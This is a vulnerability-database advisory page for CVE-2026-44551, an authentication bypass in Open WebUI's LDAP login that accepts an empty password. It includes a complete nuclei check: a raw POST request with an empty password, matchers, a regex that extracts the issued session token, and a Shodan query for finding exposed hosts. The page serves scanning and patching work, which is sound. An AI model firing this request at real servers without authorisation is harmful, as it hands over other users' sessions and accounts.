HexBrain

Browse / CVEs / CVE-2026-44551

CVE-2026-44551· CWE-287

Open WebUI 'LDAP Empty Password' - Authentication Bypass

criticalseverity
9.1CVSS score
1.5%likelihood of exploitation, next 30 days
74%of all CVEs are less likely
Readycheck to confirm it

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, the LDAP authentication endpoint does not validate that the submitted password is non-empty before performing a Simple Bind against the LDAP server. The LdapForm Pydantic model accepts password: str with no minimum length constraint, so an empty string passes validation. The subsequent Connection.bind() call succeeds on vulnerable LDAP servers, and the application issues a full session token for the target user. This vulnerability is fixed in 0.9.0.

Impact

Attackers can authenticate without a password and obtain full session tokens, leading to unauthorized access.

Fix

Update to version 0.9.0 or later.

How to confirm it

Send: POST /api/v1/auths/ldap
Positive when: contains "\"token_type\":" and "{\"id\":" and "\"name\":" AND status 200

Run it with nuclei: nuclei -id CVE-2026-44551 -u <target>

The full check
id: CVE-2026-44551

info:
  name: Open WebUI 'LDAP Empty Password' - Authentication Bypass
  author: DhiyaneshDk
  severity: critical
  description: |
    Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, the LDAP authentication endpoint does not validate that the submitted password is non-empty before performing a Simple Bind against the LDAP server. The LdapForm Pydantic model accepts password: str with no minimum length constraint, so an empty string passes validation. The subsequent Connection.bind() call succeeds on vulnerable LDAP servers, and the application issues a full session token for the target user. This vulnerability is fixed in 0.9.0.
  impact: |
    Attackers can authenticate without a password and obtain full session tokens, leading to unauthorized access.
  remediation: |
    Update to version 0.9.0 or later.
  reference:
    - https://github.com/open-webui/open-webui/security/advisories/GHSA-2r4p-jpmg-48f4
    - https://nvd.nist.gov/vuln/detail/CVE-2026-44551
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2026-44551
    epss-score: 0.01461
    epss-percentile: 0.73801
    cwe-id: CWE-287
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.title:"Open WebUI"
  tags: cve,cve2026,open-webui,ldap,auth-bypass

variables:
  username: "{{username}}"

http:
  - raw:
      - |
        POST /api/v1/auths/ldap HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"user":"{{username}}","password":""}

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"token_type":'
          - '{"id":'
          - '"name":'
        condition: and

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - '"token":"([^"]+)"'

References

Use this check only on systems you are authorised to test. Where the data comes from